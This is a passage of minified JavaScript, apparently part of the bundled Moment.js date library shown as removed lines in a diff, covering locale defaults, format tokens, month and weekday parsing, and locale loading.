Array.prototype.slice.call(n).join("") + "\n" + (new Error).stack); - i = false - } - return t.apply(this, arguments) - }, t) - } - var C = {}; - - function P(e, t) { - if (r.deprecationHandler != null) { - r.deprecationHandler(e, t) - } - if (!C[e]) { - D(t); - C[e] = true - } - } - r.suppressDeprecationWarnings = false; - r.deprecationHandler = null; - - function A(e) { - return e instanceof Function || Object.prototype.toString.call(e) === "[object Function]" - } - - function O(e) { - var t, i; - for (i in e) { - t = e[i]; - if (A(t)) { - this[i] = t - } else { - this["_" + i] = t - } - } - this._config = e; - this._dayOfMonthOrdinalParseLenient = new RegExp((this._dayOfMonthOrdinalParse.source || this._ordinalParse.source) + "|" + /\d{1,2}/.source) - } - - function j(e, t) { - var i = m({}, e), - n; - for (n in t) { - if (h(t, n)) { - if (o(e[n]) && o(t[n])) { - i[n] = {}; - m(i[n], e[n]); - m(i[n], t[n]) - } else if (t[n] != null) { - i[n] = t[n] - } else { - delete i[n] - } - } - } - for (n in e) { - if (h(e, n) && !h(t, n) && o(e[n])) { - i[n] = m({}, i[n]) - } - } - return i - } - - function H(e) { - if (e != null) { - this.set(e) - } - } - var I; - if (Object.keys) { - I = Object.keys - } else { - I = function (e) { - var t, i = []; - for (t in e) { - if (h(e, t)) { - i.push(t) - } - } - return i - } - } - var F = { - sameDay: "[Today at] LT", - nextDay: "[Tomorrow at] LT", - nextWeek: "dddd [at] LT", - lastDay: "[Yesterday at] LT", - lastWeek: "[Last] dddd [at] LT", - sameElse: "L" - }; - - function z(e, t, i) { - var n = this._calendar[e] || this._calendar["sameElse"]; - return A(n) ? n.call(t, i) : n - } - var R = { - LTS: "h:mm:ss A", - LT: "h:mm A", - L: "MM/DD/YYYY", - LL: "MMMM D, YYYY", - LLL: "MMMM D, YYYY h:mm A", - LLLL: "dddd, MMMM D, YYYY h:mm A" - }; - - function N(e) { - var t = this._longDateFormat[e], - i = this._longDateFormat[e.toUpperCase()]; - if (t || !i) { - return t - } - this._longDateFormat[e] = i.replace(/MMMM|MM|DD|dddd/g, function (e) { - return e.slice(1) - }); - return this._longDateFormat[e] - } - var W = "Invalid date"; - - function B() { - return this._invalidDate - } - var q = "%d"; - var $ = /\d{1,2}/; - - function V(e) { - return this._ordinal.replace("%d", e) - } - var G = { - future: "in %s", - past: "%s ago", - s: "a few seconds", - ss: "%d seconds", - m: "a minute", - mm: "%d minutes", - h: "an hour", - hh: "%d hours", - d: "a day", - dd: "%d days", - M: "a month", - MM: "%d months", - y: "a year", - yy: "%d years" - }; - - function U(e, t, i, n) { - var r = this._relativeTime[i]; - return A(r) ? r(e, t, i, n) : r.replace(/%d/i, e) - } - - function X(e, t) { - var i = this._relativeTime[e > 0 ? "future" : "past"]; - return A(i) ? i(t) : i.replace(/%s/i, t) - } - var J = {}; - - function K(e, t) { - var i = e.toLowerCase(); - J[i] = J[i + "s"] = J[t] = e - } - - function Q(e) { - return typeof e === "string" ? J[e] || J[e.toLowerCase()] : undefined - } - - function Z(e) { - var t = {}, - i, n; - for (n in e) { - if (h(e, n)) { - i = Q(n); - if (i) { - t[i] = e[n] - } - } - } - return t - } - var ee = {}; - - function te(e, t) { - ee[e] = t - } - - function ie(e) { - var t = []; - for (var i in e) { - t.push({ - unit: i, - priority: ee[i] - }) - } - t.sort(function (e, t) { - return e.priority - t.priority - }); - return t - } - - function ne(e, t, i) { - var n = "" + Math.abs(e), - r = t - n.length, - a = e >= 0; - return (a ? i ? "+" : "" : "-") + Math.pow(10, Math.max(0, r)).toString().substr(1) + n - } - var re = /(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|YYYYYY|YYYYY|YYYY|YY|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g; - var ae = /(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g; - var se = {}; - var oe = {}; - - function le(e, t, i, n) { - var r = n; - if (typeof n === "string") { - r = function () { - return this[n]() - } - } - if (e) { - oe[e] = r - } - if (t) { - oe[t[0]] = function () { - return ne(r.apply(this, arguments), t[1], t[2]) - } - } - if (i) { - oe[i] = function () { - return this.localeData().ordinal(r.apply(this, arguments), e) - } - } - } - - function ue(e) { - if (e.match(/\[[\s\S]/)) { - return e.replace(/^\[|\]$/g, "") - } - return e.replace(/\\/g, "") - } - - function de(e) { - var t = e.match(re), - i, n; - for (i = 0, n = t.length; i < n; i++) { - if (oe[t[i]]) { - t[i] = oe[t[i]] - } else { - t[i] = ue(t[i]) - } - } - return function (i) { - var r = "", - a; - for (a = 0; a < n; a++) { - r += A(t[a]) ? t[a].call(i, e) : t[a] - } - return r - } - } - - function fe(e, t) { - if (!e.isValid()) { - return e.localeData().invalidDate() - } - t = ce(t, e.localeData()); - se[t] = se[t] || de(t); - return se[t](e) - } - - function ce(e, t) { - var i = 5; - - function n(e) { - return t.longDateFormat(e) || e - } - ae.lastIndex = 0; - while (i >= 0 && ae.test(e)) { - e = e.replace(ae, n); - ae.lastIndex = 0; - i -= 1 - } - return e - } - var he = /\d/; - var me = /\d\d/; - var pe = /\d{3}/; - var ve = /\d{4}/; - var _e = /[+-]?\d{6}/; - var ge = /\d\d?/; - var ye = /\d\d\d\d?/; - var be = /\d\d\d\d\d\d?/; - var we = /\d{1,3}/; - var Me = /\d{1,4}/; - var ke = /[+-]?\d{1,6}/; - var Le = /\d+/; - var Te = /[+-]?\d+/; - var xe = /Z|[+-]\d\d:?\d\d/gi; - var Se = /Z|[+-]\d\d(?::?\d\d)?/gi; - var Ye = /[+-]?\d+(\.\d{1,3})?/; - var De = /[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i; - var Ee = {}; - - function Ce(e, t, i) { - Ee[e] = A(t) ? t : function (e, n) { - return e && i ? i : t - } - } - - function Pe(e, t) { - if (!h(Ee, e)) { - return new RegExp(Ae(e)) - } - return Ee[e](t._strict, t._locale) - } - - function Ae(e) { - return Oe(e.replace("\\", "").replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g, function (e, t, i, n, r) { - return t || i || n || r - })) - } - - function Oe(e) { - return e.replace(/[-\/\\^$*+?.()|[\]{}]/g, "\\$&") - } - var je = {}; - - function He(e, t) { - var i, n = t; - if (typeof e === "string") { - e = [e] - } - if (d(t)) { - n = function (e, i) { - i[t] = S(e) - } - } - for (i = 0; i < e.length; i++) { - je[e[i]] = n - } - } - - function Ie(e, t) { - He(e, function (e, i, n, r) { - n._w = n._w || {}; - t(e, n._w, n, r) - }) - } - - function Fe(e, t, i) { - if (t != null && h(je, e)) { - je[e](t, i._a, i, e) - } - } - var ze = 0; - var Re = 1; - var Ne = 2; - var We = 3; - var Be = 4; - var qe = 5; - var $e = 6; - var Ve = 7; - var Ge = 8; - le("Y", 0, 0, function () { - var e = this.year(); - return e <= 9999 ? "" + e : "+" + e - }); - le(0, ["YY", 2], 0, function () { - return this.year() % 100 - }); - le(0, ["YYYY", 4], 0, "year"); - le(0, ["YYYYY", 5], 0, "year"); - le(0, ["YYYYYY", 6, true], 0, "year"); - K("year", "y"); - te("year", 1); - Ce("Y", Te); - Ce("YY", ge, me); - Ce("YYYY", Me, ve); - Ce("YYYYY", ke, _e); - Ce("YYYYYY", ke, _e); - He(["YYYYY", "YYYYYY"], ze); - He("YYYY", function (e, t) { - t[ze] = e.length === 2 ? r.parseTwoDigitYear(e) : S(e) - }); - He("YY", function (e, t) { - t[ze] = r.parseTwoDigitYear(e) - }); - He("Y", function (e, t) { - t[ze] = parseInt(e, 10) - }); - - function Ue(e) { - return Xe(e) ? 366 : 365 - } - - function Xe(e) { - return e % 4 === 0 && e % 100 !== 0 || e % 400 === 0 - } - r.parseTwoDigitYear = function (e) { - return S(e) + (S(e) > 68 ? 1900 : 2e3) - }; - var Je = Qe("FullYear", true); - - function Ke() { - return Xe(this.year()) - } - - function Qe(e, t) { - return function (i) { - if (i != null) { - et(this, e, i); - r.updateOffset(this, t); - return this - } else { - return Ze(this, e) - } - } - } - - function Ze(e, t) { - return e.isValid() ? e._d["get" + (e._isUTC ? "UTC" : "") + t]() : NaN - } - - function et(e, t, i) { - if (e.isValid() && !isNaN(i)) { - if (t === "FullYear" && Xe(e.year()) && e.month() === 1 && e.date() === 29) { - e._d["set" + (e._isUTC ? "UTC" : "") + t](i, e.month(), at(i, e.month())) - } else { - e._d["set" + (e._isUTC ? "UTC" : "") + t](i) - } - } - } - - function tt(e) { - e = Q(e); - if (A(this[e])) { - return this[e]() - } - return this - } - - function it(e, t) { - if (typeof e === "object") { - e = Z(e); - var i = ie(e); - for (var n = 0; n < i.length; n++) { - this[i[n].unit](e[i[n].unit]) - } - } else { - e = Q(e); - if (A(this[e])) { - return this[e](t) - } - } - return this - } - - function nt(e, t) { - return (e % t + t) % t - } - var rt; - if (Array.prototype.indexOf) { - rt = Array.prototype.indexOf - } else { - rt = function (e) { - var t; - for (t = 0; t < this.length; ++t) { - if (this[t] === e) { - return t - } - } - return -1 - } - } - - function at(e, t) { - if (isNaN(e) || isNaN(t)) { - return NaN - } - var i = nt(t, 12); - e += (t - i) / 12; - return i === 1 ? Xe(e) ? 29 : 28 : 31 - i % 7 % 2 - } - le("M", ["MM", 2], "Mo", function () { - return this.month() + 1 - }); - le("MMM", 0, 0, function (e) { - return this.localeData().monthsShort(this, e) - }); - le("MMMM", 0, 0, function (e) { - return this.localeData().months(this, e) - }); - K("month", "M"); - te("month", 8); - Ce("M", ge); - Ce("MM", ge, me); - Ce("MMM", function (e, t) { - return t.monthsShortRegex(e) - }); - Ce("MMMM", function (e, t) { - return t.monthsRegex(e) - }); - He(["M", "MM"], function (e, t) { - t[Re] = S(e) - 1 - }); - He(["MMM", "MMMM"], function (e, t, i, n) { - var r = i._locale.monthsParse(e, n, i._strict); - if (r != null) { - t[Re] = r - } else { - _(i).invalidMonth = e - } - }); - var st = /D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/; - var ot = "January_February_March_April_May_June_July_August_September_October_November_December".split("_"); - - function lt(e, t) { - if (!e) { - return s(this._months) ? this._months : this._months["standalone"] - } - return s(this._months) ? this._months[e.month()] : this._months[(this._months.isFormat || st).test(t) ? "format" : "standalone"][e.month()] - } - var ut = "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"); - - function dt(e, t) { - if (!e) { - return s(this._monthsShort) ? this._monthsShort : this._monthsShort["standalone"] - } - return s(this._monthsShort) ? this._monthsShort[e.month()] : this._monthsShort[st.test(t) ? "format" : "standalone"][e.month()] - } - - function ft(e, t, i) { - var n, r, a, s = e.toLocaleLowerCase(); - if (!this._monthsParse) { - this._monthsParse = []; - this._longMonthsParse = []; - this._shortMonthsParse = []; - for (n = 0; n < 12; ++n) { - a = p([2e3, n]); - this._shortMonthsParse[n] = this.monthsShort(a, "").toLocaleLowerCase(); - this._longMonthsParse[n] = this.months(a, "").toLocaleLowerCase() - } - } - if (i) { - if (t === "MMM") { - r = rt.call(this._shortMonthsParse, s); - return r !== -1 ? r : null - } else { - r = rt.call(this._longMonthsParse, s); - return r !== -1 ? r : null - } - } else { - if (t === "MMM") { - r = rt.call(this._shortMonthsParse, s); - if (r !== -1) { - return r - } - r = rt.call(this._longMonthsParse, s); - return r !== -1 ? r : null - } else { - r = rt.call(this._longMonthsParse, s); - if (r !== -1) { - return r - } - r = rt.call(this._shortMonthsParse, s); - return r !== -1 ? r : null - } - } - } - - function ct(e, t, i) { - var n, r, a; - if (this._monthsParseExact) { - return ft.call(this, e, t, i) - } - if (!this._monthsParse) { - this._monthsParse = []; - this._longMonthsParse = []; - this._shortMonthsParse = [] - } - for (n = 0; n < 12; n++) { - r = p([2e3, n]); - if (i && !this._longMonthsParse[n]) { - this._longMonthsParse[n] = new RegExp("^" + this.months(r, "").replace(".", "") + "$", "i"); - this._shortMonthsParse[n] = new RegExp("^" + this.monthsShort(r, "").replace(".", "") + "$", "i") - } - if (!i && !this._monthsParse[n]) { - a = "^" + this.months(r, "") + "|^" + this.monthsShort(r, ""); - this._monthsParse[n] = new RegExp(a.replace(".", ""), "i") - } - if (i && t === "MMMM" && this._longMonthsParse[n].test(e)) { - return n - } else if (i && t === "MMM" && this._shortMonthsParse[n].test(e)) { - return n - } else if (!i && this._monthsParse[n].test(e)) { - return n - } - } - } - - function ht(e, t) { - var i; - if (!e.isValid()) { - return e - } - if (typeof t === "string") { - if (/^\d+$/.test(t)) { - t = S(t) - } else { - t = e.localeData().monthsParse(t); - if (!d(t)) { - return e - } - } - } - i = Math.min(e.date(), at(e.year(), t)); - e._d["set" + (e._isUTC ? "UTC" : "") + "Month"](t, i); - return e - } - - function mt(e) { - if (e != null) { - ht(this, e); - r.updateOffset(this, true); - return this - } else { - return Ze(this, "Month") - } - } - - function pt() { - return at(this.year(), this.month()) - } - var vt = De; - - function _t(e) { - if (this._monthsParseExact) { - if (!h(this, "_monthsRegex")) { - bt.call(this) - } - if (e) { - return this._monthsShortStrictRegex - } else { - return this._monthsShortRegex - } - } else { - if (!h(this, "_monthsShortRegex")) { - this._monthsShortRegex = vt - } - return this._monthsShortStrictRegex && e ? this._monthsShortStrictRegex : this._monthsShortRegex - } - } - var gt = De; - - function yt(e) { - if (this._monthsParseExact) { - if (!h(this, "_monthsRegex")) { - bt.call(this) - } - if (e) { - return this._monthsStrictRegex - } else { - return this._monthsRegex - } - } else { - if (!h(this, "_monthsRegex")) { - this._monthsRegex = gt - } - return this._monthsStrictRegex && e ? this._monthsStrictRegex : this._monthsRegex - } - } - - function bt() { - function e(e, t) { - return t.length - e.length - } - var t = [], - i = [], - n = [], - r, a; - for (r = 0; r < 12; r++) { - a = p([2e3, r]); - t.push(this.monthsShort(a, "")); - i.push(this.months(a, "")); - n.push(this.months(a, "")); - n.push(this.monthsShort(a, "")) - } - t.sort(e); - i.sort(e); - n.sort(e); - for (r = 0; r < 12; r++) { - t[r] = Oe(t[r]); - i[r] = Oe(i[r]) - } - for (r = 0; r < 24; r++) { - n[r] = Oe(n[r]) - } - this._monthsRegex = new RegExp("^(" + n.join("|") + ")", "i"); - this._monthsShortRegex = this._monthsRegex; - this._monthsStrictRegex = new RegExp("^(" + i.join("|") + ")", "i"); - this._monthsShortStrictRegex = new RegExp("^(" + t.join("|") + ")", "i") - } - - function wt(e, t, i, n, r, a, s) { - var o; - if (e < 100 && e >= 0) { - o = new Date(e + 400, t, i, n, r, a, s); - if (isFinite(o.getFullYear())) { - o.setFullYear(e) - } - } else { - o = new Date(e, t, i, n, r, a, s) - } - return o - } - - function Mt(e) { - var t; - if (e < 100 && e >= 0) { - var i = Array.prototype.slice.call(arguments); - i[0] = e + 400; - t = new Date(Date.UTC.apply(null, i)); - if (isFinite(t.getUTCFullYear())) { - t.setUTCFullYear(e) - } - } else { - t = new Date(Date.UTC.apply(null, arguments)) - } - return t - } - - function kt(e, t, i) { - var n = 7 + t - i, - r = (7 + Mt(e, 0, n).getUTCDay() - t) % 7; - return -r + n - 1 - } - - function Lt(e, t, i, n, r) { - var a = (7 + i - n) % 7, - s = kt(e, n, r), - o = 1 + 7 * (t - 1) + a + s, - l, u; - if (o <= 0) { - l = e - 1; - u = Ue(l) + o - } else if (o > Ue(e)) { - l = e + 1; - u = o - Ue(e) - } else { - l = e; - u = o - } - return { - year: l, - dayOfYear: u - } - } - - function Tt(e, t, i) { - var n = kt(e.year(), t, i), - r = Math.floor((e.dayOfYear() - n - 1) / 7) + 1, - a, s; - if (r < 1) { - s = e.year() - 1; - a = r + xt(s, t, i) - } else if (r > xt(e.year(), t, i)) { - a = r - xt(e.year(), t, i); - s = e.year() + 1 - } else { - s = e.year(); - a = r - } - return { - week: a, - year: s - } - } - - function xt(e, t, i) { - var n = kt(e, t, i), - r = kt(e + 1, t, i); - return (Ue(e) - n + r) / 7 - } - le("w", ["ww", 2], "wo", "week"); - le("W", ["WW", 2], "Wo", "isoWeek"); - K("week", "w"); - K("isoWeek", "W"); - te("week", 5); - te("isoWeek", 5); - Ce("w", ge); - Ce("ww", ge, me); - Ce("W", ge); - Ce("WW", ge, me); - Ie(["w", "ww", "W", "WW"], function (e, t, i, n) { - t[n.substr(0, 1)] = S(e) - }); - - function St(e) { - return Tt(e, this._week.dow, this._week.doy).week - } - var Yt = { - dow: 0, - doy: 6 - }; - - function Dt() { - return this._week.dow - } - - function Et() { - return this._week.doy - } - - function Ct(e) { - var t = this.localeData().week(this); - return e == null ? t : this.add((e - t) * 7, "d") - } - - function Pt(e) { - var t = Tt(this, 1, 4).week; - return e == null ? t : this.add((e - t) * 7, "d") - } - le("d", 0, "do", "day"); - le("dd", 0, 0, function (e) { - return this.localeData().weekdaysMin(this, e) - }); - le("ddd", 0, 0, function (e) { - return this.localeData().weekdaysShort(this, e) - }); - le("dddd", 0, 0, function (e) { - return this.localeData().weekdays(this, e) - }); - le("e", 0, 0, "weekday"); - le("E", 0, 0, "isoWeekday"); - K("day", "d"); - K("weekday", "e"); - K("isoWeekday", "E"); - te("day", 11); - te("weekday", 11); - te("isoWeekday", 11); - Ce("d", ge); - Ce("e", ge); - Ce("E", ge); - Ce("dd", function (e, t) { - return t.weekdaysMinRegex(e) - }); - Ce("ddd", function (e, t) { - return t.weekdaysShortRegex(e) - }); - Ce("dddd", function (e, t) { - return t.weekdaysRegex(e) - }); - Ie(["dd", "ddd", "dddd"], function (e, t, i, n) { - var r = i._locale.weekdaysParse(e, n, i._strict); - if (r != null) { - t.d = r - } else { - _(i).invalidWeekday = e - } - }); - Ie(["d", "e", "E"], function (e, t, i, n) { - t[n] = S(e) - }); - - function At(e, t) { - if (typeof e !== "string") { - return e - } - if (!isNaN(e)) { - return parseInt(e, 10) - } - e = t.weekdaysParse(e); - if (typeof e === "number") { - return e - } - return null - } - - function Ot(e, t) { - if (typeof e === "string") { - return t.weekdaysParse(e) % 7 || 7 - } - return isNaN(e) ? null : e - } - - function jt(e, t) { - return e.slice(t, 7).concat(e.slice(0, t)) - } - var Ht = "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"); - - function It(e, t) { - var i = s(this._weekdays) ? this._weekdays : this._weekdays[e && e !== true && this._weekdays.isFormat.test(t) ? "format" : "standalone"]; - return e === true ? jt(i, this._week.dow) : e ? i[e.day()] : i - } - var Ft = "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"); - - function zt(e) { - return e === true ? jt(this._weekdaysShort, this._week.dow) : e ? this._weekdaysShort[e.day()] : this._weekdaysShort - } - var Rt = "Su_Mo_Tu_We_Th_Fr_Sa".split("_"); - - function Nt(e) { - return e === true ? jt(this._weekdaysMin, this._week.dow) : e ? this._weekdaysMin[e.day()] : this._weekdaysMin - } - - function Wt(e, t, i) { - var n, r, a, s = e.toLocaleLowerCase(); - if (!this._weekdaysParse) { - this._weekdaysParse = []; - this._shortWeekdaysParse = []; - this._minWeekdaysParse = []; - for (n = 0; n < 7; ++n) { - a = p([2e3, 1]).day(n); - this._minWeekdaysParse[n] = this.weekdaysMin(a, "").toLocaleLowerCase(); - this._shortWeekdaysParse[n] = this.weekdaysShort(a, "").toLocaleLowerCase(); - this._weekdaysParse[n] = this.weekdays(a, "").toLocaleLowerCase() - } - } - if (i) { - if (t === "dddd") { - r = rt.call(this._weekdaysParse, s); - return r !== -1 ? r : null - } else if (t === "ddd") { - r = rt.call(this._shortWeekdaysParse, s); - return r !== -1 ? r : null - } else { - r = rt.call(this._minWeekdaysParse, s); - return r !== -1 ? r : null - } - } else { - if (t === "dddd") { - r = rt.call(this._weekdaysParse, s); - if (r !== -1) { - return r - } - r = rt.call(this._shortWeekdaysParse, s); - if (r !== -1) { - return r - } - r = rt.call(this._minWeekdaysParse, s); - return r !== -1 ? r : null - } else if (t === "ddd") { - r = rt.call(this._shortWeekdaysParse, s); - if (r !== -1) { - return r - } - r = rt.call(this._weekdaysParse, s); - if (r !== -1) { - return r - } - r = rt.call(this._minWeekdaysParse, s); - return r !== -1 ? r : null - } else { - r = rt.call(this._minWeekdaysParse, s); - if (r !== -1) { - return r - } - r = rt.call(this._weekdaysParse, s); - if (r !== -1) { - return r - } - r = rt.call(this._shortWeekdaysParse, s); - return r !== -1 ? r : null - } - } - } - - function Bt(e, t, i) { - var n, r, a; - if (this._weekdaysParseExact) { - return Wt.call(this, e, t, i) - } - if (!this._weekdaysParse) { - this._weekdaysParse = []; - this._minWeekdaysParse = []; - this._shortWeekdaysParse = []; - this._fullWeekdaysParse = [] - } - for (n = 0; n < 7; n++) { - r = p([2e3, 1]).day(n); - if (i && !this._fullWeekdaysParse[n]) { - this._fullWeekdaysParse[n] = new RegExp("^" + this.weekdays(r, "").replace(".", "\\.?") + "$", "i"); - this._shortWeekdaysParse[n] = new RegExp("^" + this.weekdaysShort(r, "").replace(".", "\\.?") + "$", "i"); - this._minWeekdaysParse[n] = new RegExp("^" + this.weekdaysMin(r, "").replace(".", "\\.?") + "$", "i") - } - if (!this._weekdaysParse[n]) { - a = "^" + this.weekdays(r, "") + "|^" + this.weekdaysShort(r, "") + "|^" + this.weekdaysMin(r, ""); - this._weekdaysParse[n] = new RegExp(a.replace(".", ""), "i") - } - if (i && t === "dddd" && this._fullWeekdaysParse[n].test(e)) { - return n - } else if (i && t === "ddd" && this._shortWeekdaysParse[n].test(e)) { - return n - } else if (i && t === "dd" && this._minWeekdaysParse[n].test(e)) { - return n - } else if (!i && this._weekdaysParse[n].test(e)) { - return n - } - } - } - - function qt(e) { - if (!this.isValid()) { - return e != null ? this : NaN - } - var t = this._isUTC ? this._d.getUTCDay() : this._d.getDay(); - if (e != null) { - e = At(e, this.localeData()); - return this.add(e - t, "d") - } else { - return t - } - } - - function $t(e) { - if (!this.isValid()) { - return e != null ? this : NaN - } - var t = (this.day() + 7 - this.localeData()._week.dow) % 7; - return e == null ? t : this.add(e - t, "d") - } - - function Vt(e) { - if (!this.isValid()) { - return e != null ? this : NaN - } - if (e != null) { - var t = Ot(e, this.localeData()); - return this.day(this.day() % 7 ? t : t - 7) - } else { - return this.day() || 7 - } - } - var Gt = De; - - function Ut(e) { - if (this._weekdaysParseExact) { - if (!h(this, "_weekdaysRegex")) { - Zt.call(this) - } - if (e) { - return this._weekdaysStrictRegex - } else { - return this._weekdaysRegex - } - } else { - if (!h(this, "_weekdaysRegex")) { - this._weekdaysRegex = Gt - } - return this._weekdaysStrictRegex && e ? this._weekdaysStrictRegex : this._weekdaysRegex - } - } - var Xt = De; - - function Jt(e) { - if (this._weekdaysParseExact) { - if (!h(this, "_weekdaysRegex")) { - Zt.call(this) - } - if (e) { - return this._weekdaysShortStrictRegex - } else { - return this._weekdaysShortRegex - } - } else { - if (!h(this, "_weekdaysShortRegex")) { - this._weekdaysShortRegex = Xt - } - return this._weekdaysShortStrictRegex && e ? this._weekdaysShortStrictRegex : this._weekdaysShortRegex - } - } - var Kt = De; - - function Qt(e) { - if (this._weekdaysParseExact) { - if (!h(this, "_weekdaysRegex")) { - Zt.call(this) - } - if (e) { - return this._weekdaysMinStrictRegex - } else { - return this._weekdaysMinRegex - } - } else { - if (!h(this, "_weekdaysMinRegex")) { - this._weekdaysMinRegex = Kt - } - return this._weekdaysMinStrictRegex && e ? this._weekdaysMinStrictRegex : this._weekdaysMinRegex - } - } - - function Zt() { - function e(e, t) { - return t.length - e.length - } - var t = [], - i = [], - n = [], - r = [], - a, s, o, l, u; - for (a = 0; a < 7; a++) { - s = p([2e3, 1]).day(a); - o = this.weekdaysMin(s, ""); - l = this.weekdaysShort(s, ""); - u = this.weekdays(s, ""); - t.push(o); - i.push(l); - n.push(u); - r.push(o); - r.push(l); - r.push(u) - } - t.sort(e); - i.sort(e); - n.sort(e); - r.sort(e); - for (a = 0; a < 7; a++) { - i[a] = Oe(i[a]); - n[a] = Oe(n[a]); - r[a] = Oe(r[a]) - } - this._weekdaysRegex = new RegExp("^(" + r.join("|") + ")", "i"); - this._weekdaysShortRegex = this._weekdaysRegex; - this._weekdaysMinRegex = this._weekdaysRegex; - this._weekdaysStrictRegex = new RegExp("^(" + n.join("|") + ")", "i"); - this._weekdaysShortStrictRegex = new RegExp("^(" + i.join("|") + ")", "i"); - this._weekdaysMinStrictRegex = new RegExp("^(" + t.join("|") + ")", "i") - } - - function ei() { - return this.hours() % 12 || 12 - } - - function ti() { - return this.hours() || 24 - } - le("H", ["HH", 2], 0, "hour"); - le("h", ["hh", 2], 0, ei); - le("k", ["kk", 2], 0, ti); - le("hmm", 0, 0, function () { - return "" + ei.apply(this) + ne(this.minutes(), 2) - }); - le("hmmss", 0, 0, function () { - return "" + ei.apply(this) + ne(this.minutes(), 2) + ne(this.seconds(), 2) - }); - le("Hmm", 0, 0, function () { - return "" + this.hours() + ne(this.minutes(), 2) - }); - le("Hmmss", 0, 0, function () { - return "" + this.hours() + ne(this.minutes(), 2) + ne(this.seconds(), 2) - }); - - function ii(e, t) { - le(e, 0, 0, function () { - return this.localeData().meridiem(this.hours(), this.minutes(), t) - }) - } - ii("a", true); - ii("A", false); - K("hour", "h"); - te("hour", 13); - - function ni(e, t) { - return t._meridiemParse - } - Ce("a", ni); - Ce("A", ni); - Ce("H", ge); - Ce("h", ge); - Ce("k", ge); - Ce("HH", ge, me); - Ce("hh", ge, me); - Ce("kk", ge, me); - Ce("hmm", ye); - Ce("hmmss", be); - Ce("Hmm", ye); - Ce("Hmmss", be); - He(["H", "HH"], We); - He(["k", "kk"], function (e, t, i) { - var n = S(e); - t[We] = n === 24 ? 0 : n - }); - He(["a", "A"], function (e, t, i) { - i._isPm = i._locale.isPM(e); - i._meridiem = e - }); - He(["h", "hh"], function (e, t, i) { - t[We] = S(e); - _(i).bigHour = true - }); - He("hmm", function (e, t, i) { - var n = e.length - 2; - t[We] = S(e.substr(0, n)); - t[Be] = S(e.substr(n)); - _(i).bigHour = true - }); - He("hmmss", function (e, t, i) { - var n = e.length - 4; - var r = e.length - 2; - t[We] = S(e.substr(0, n)); - t[Be] = S(e.substr(n, 2)); - t[qe] = S(e.substr(r)); - _(i).bigHour = true - }); - He("Hmm", function (e, t, i) { - var n = e.length - 2; - t[We] = S(e.substr(0, n)); - t[Be] = S(e.substr(n)) - }); - He("Hmmss", function (e, t, i) { - var n = e.length - 4; - var r = e.length - 2; - t[We] = S(e.substr(0, n)); - t[Be] = S(e.substr(n, 2)); - t[qe] = S(e.substr(r)) - }); - - function ri(e) { - return (e + "").toLowerCase().charAt(0) === "p" - } - var ai = /[ap]\.?m?\.?/i; - - function si(e, t, i) { - if (e > 11) { - return i ? "pm" : "PM" - } else { - return i ? "am" : "AM" - } - } - var oi = Qe("Hours", true); - var li = { - calendar: F, - longDateFormat: R, - invalidDate: W, - ordinal: q, - dayOfMonthOrdinalParse: $, - relativeTime: G, - months: ot, - monthsShort: ut, - week: Yt, - weekdays: Ht, - weekdaysMin: Rt, - weekdaysShort: Ft, - meridiemParse: ai - }; - var ui = {}; - var di = {}; - var fi; - - function ci(e) { - return e ? e.toLowerCase().replace("_", "-") : e - } - - function hi(e) { - var t = 0, - i, n, r, a; - while (t < e.length) { - a = ci(e[t]).split("-"); - i = a.length; - n = ci(e[t + 1]); - n = n ? n.split("-") : null; - while (i > 0) { - r = mi(a.slice(0, i).join("-")); - if (r) { - return r - } - if (n && n.length >= i && Y(a, n, true) >= i - 1) { - break - } - i-- - } - t++ - } - return fi - } - - function mi(n) { - var r = null; - if (!ui[n] && typeof e !== "undefined" && e && e.exports) { - try { - r = fi._abbr; - var a = t; - i(151)("./" + n); - pi(r) - } catch (e) {} - } - return ui[n] - } - - function pi(e, t) { - var i; - if (e) { - if (u(t)) { - i = gi(e) - } else { - i = vi(e, t) - } - if (i) { - fi = i - } else { - if (typeof console !== "undefined" && console.warn) { - console.warn("Locale " + e + " not found. Did you forget to load it?") - } - } - } - return fi._abbr - } - - function vi(e, t) { - if (t !== null) { - var i, n = li; - t.abbr = e; - if (ui[e] != null) { - P("defineLocaleOverride", "use moment.updateLocale(localeName, config) to change " + "an existing locale. moment.defineLocale(localeName, " + "config) should only be used for creating a new locale " + "See http://momentjs.com/guides/#/warnings/define-locale/ for more info."); - n = ui[e]._config - } else if (t.parentLocale != null) { - if (ui[t.parentLocale] != null) { - n = ui[t.parentLocale]._config - } else { - i = mi(t.parentLocale); - if (i != null) { - n = i._config - } else { - if (!di[t.parentLocale]) { - di[t.parentLocale] = [] - } - di[t.parentLocale].push({ - name: e, - config: t - }); - return null - } - } - } - ui[e] = new H(j(n, t)); - if (di[e]) { - di[e].forEach(function (e) { - vi(e.name, e.config) - }) - } - pi(e); - return ui[e] - } else { - delete ui[e]; - return null - } - } - - function _i(e, t) { - if (t != null) { - var i, n, r = li; - n = mi(e); - if (n != null) { - r = n._config - } - t = j(r, t); - i = new H(t); - i.parentLocale = ui[e]; - ui[e] = i; - pi(e) - } else { - if (ui[e] != null) { - if (ui[e].parentLocale != null) { - ui[e] = ui[e].parentLocale - } else if (ui[e] != null) { - delete ui[e] - } - } - } - return ui[e] - } - - function gi(e) { - var t; - if (e && e._locale && e._locale._abbr) { - e = e._locale._abbr - } - if (!e) { - return fi - } - if (!s(e)) { - t = mi(e); - if (t) { - return t - } - e = [e] - } - return hi(e) - } - - function yi() { - return I(ui) - } - - function bi(e) { - var t; - var i = e._a; - if (i && _(e).overflow === -2) { - t = i[Re] < 0 || i[Re] > 11 ? Re : i[Ne] < 1 || i[Ne] > at(i[ze], i[Re]) ? Ne : i[We] < 0 